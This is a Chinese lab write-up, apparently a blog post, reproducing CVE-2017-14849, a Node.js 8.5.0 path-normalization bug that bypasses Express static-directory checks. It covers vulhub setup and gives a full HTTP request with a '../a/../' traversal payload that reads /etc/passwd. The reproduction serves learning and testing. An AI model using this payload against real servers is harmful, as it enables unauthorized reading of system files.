Node.js-目录穿越(CVE-2017-14849)

漏洞描述

​ Node.js 8.5.0 对⽬录进⾏normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如…/…/…/…/…/…/etc/passwd),在
中间位置增加foo/…/(如…/…/…/foo/…/…/…/…/etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该
是…/…/…/…/…/…/etc/passwd。
​ express这类web框架,通常会提供了静态⽂件服务器的功能,这些功能依赖于 normalize函数。⽐如,express在判断path是否超出静态
⽬录范围时,就⽤到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意⽂件读取漏洞。

受影响版本:

​ Node.js 8.5.0 + Express 3.19.0-3.21.2
​ Node.js 8.5.0 + Express 4.11.0-4.15.5

kali 环境配置

安装https协议、CA证书、dirmngr

apt-get update

apt-get install -y apt-transport-https ca-certificates

apt-get install dirmngr

添加GPG密钥并添加更新源

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list

系统更新以及安装docker

apt-get update&&apt install docker-ce

启动docker服务器 和compose

service docker start || apt install docker-compose

下载安装vulhub

git clone https://github.com/vulhub/vulhub.git

漏洞复现

启动环境/vulhub-master/node/CVE-2017-14849]

docker-compose up -d

初始化完成后 访问 ip:端口号,进行抓包

在这里插入图片描述

修改GET 请求

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.2.130:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: W/"1f8-A9naZm3yu+VHL0CdBLtDGuvxxYs"
Connection: close

在这里插入图片描述

参考链接

https://blog.csdn.net/gaomei2009/article/details/125910094

681986197)]

参考链接

https://blog.csdn.net/gaomei2009/article/details/125910094

https://security.tencent.com/index.php/blog/msg/121

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值